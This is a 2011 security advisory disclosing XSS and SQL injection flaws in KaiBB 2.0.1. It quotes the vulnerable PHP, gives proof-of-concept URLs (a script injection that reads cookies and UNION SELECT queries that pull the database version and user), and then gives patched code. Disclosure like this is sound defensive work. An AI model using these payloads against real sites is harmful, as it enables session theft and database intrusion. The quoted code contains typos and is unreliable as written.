Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170
Skip to content

SSCHADV2011-027 - KaiBB 2.0.1 XSS and SQL Injection vulnerabilities

Advisory:
KaiBB 2.0.1 XSS and SQL Injection vulnerabilities
Advisory ID:
SSCHADV2011-027
Author:
Stefan Schurtz
Affected Software: Successfully tested on KaiBB 2.0.1
Vendor URL:
Vendor Status: informed
CVE-ID: -
 
======================
Vulnerability Description:
======================

KaiBB 2.0.1 is prone to XSS and SQL Injection vulnerabilities
 
==============
Technical Details:
==============

# sql injection vul code in ‘kaibb/rss.php’

if ( isset($_GET[‘forum’]))
{
      $id = $secure->clean($_GET[‘forum’]);
      $doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = ‘".$_GET[‘forum’]."’ ORDER BY id DESC LIMIT 15");
} else {
      $doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15");
}

# inc/function.php

class secure {

function clean($content) {
        $content
mysql_real_escape_string(htmlspecialchars($content));
        return $content;
}
 
# xss vul code in ‘inc/header.php’

$session_location = $_SERVER[REQUEST_URI’];

==============
Exploit
==============

Cross-site Scripting

http://<target>/kaibb/?’</script><script>alert(document.cookie)</script>
http://<target>/kaibb/index.php?’</script><script>alert(document.cookie)</script>

SQL Injection

http://<target>/kaibb/rss.php?forum=’ UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL AND ‘a’=‘a
http://<target>/kaibb/rss.php?forum=’ UNION ALL SELECT NULL, version(), NULL, NULL, NULL, NULL, NULL AND ‘a’=‘a
http://<target>/kaibb/rss.php?forum=’ UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL AND ‘a’=‘a

=====
Solution:
=====

# solution for the sql injection

if ( isset($_GET[‘forum’]))
    {
       $id = $secure->clean($_GET[‘forum’]);
       //$doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = ‘".$_GET[‘forum’]."’ ORDER BY id DESC LIMIT 15");
       $doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = ‘". $id ."’ ORDER BY id DESC LIMIT 15");
    } else {
$doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15");
}
 
# solution for the xss vulnerability

//$session_location = $_SERVER[‘REQUEST_URI’];
$session_location = $_SERVER[SCRIPT_NAME’];
 
or
 
$session_location =
htmlspecialchars($_SERVER[REQUEST_URI’],ENT_QUOTES);

================
Disclosure Timeline:
================

08-Oct-2011 – informed developers
08-Oct-2011 – release date of this security advisory
09-Oct-2011 – post on BugTraq

====
Credits:
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References:
=======

http://code.google.com/p/kaibb/
http://code.google.com/p/kaibb/issues/detail?id=2

Trackbacks

No Trackbacks

Comments

Display comments as Linear | Threaded

No comments

Add Comment


To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.
CAPTCHA 1CAPTCHA 2CAPTCHA 3CAPTCHA 4CAPTCHA 5


Textile-formatting allowed
You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.
Form options
Imprint | Contact | Privacy Statement

Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170